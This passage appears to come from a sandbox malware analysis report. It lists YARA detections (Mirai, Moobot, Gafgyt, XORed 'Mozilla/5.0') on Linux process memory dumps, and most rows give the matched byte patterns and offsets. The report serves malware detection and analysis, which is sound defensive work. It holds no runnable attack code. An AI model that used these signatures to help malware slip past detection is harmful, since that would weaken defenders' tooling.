2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7410.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7258.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7258.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7258.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7258.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7258.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7258.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7012.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7012.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7012.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7012.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7012.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7012.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7022.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6825.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6825.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6825.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6825.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6825.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6825.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6568.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6568.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6568.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6568.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6568.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6568.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7320.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7320.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7320.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7320.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7320.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7320.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7319.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7404.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7404.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7404.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7404.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7404.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 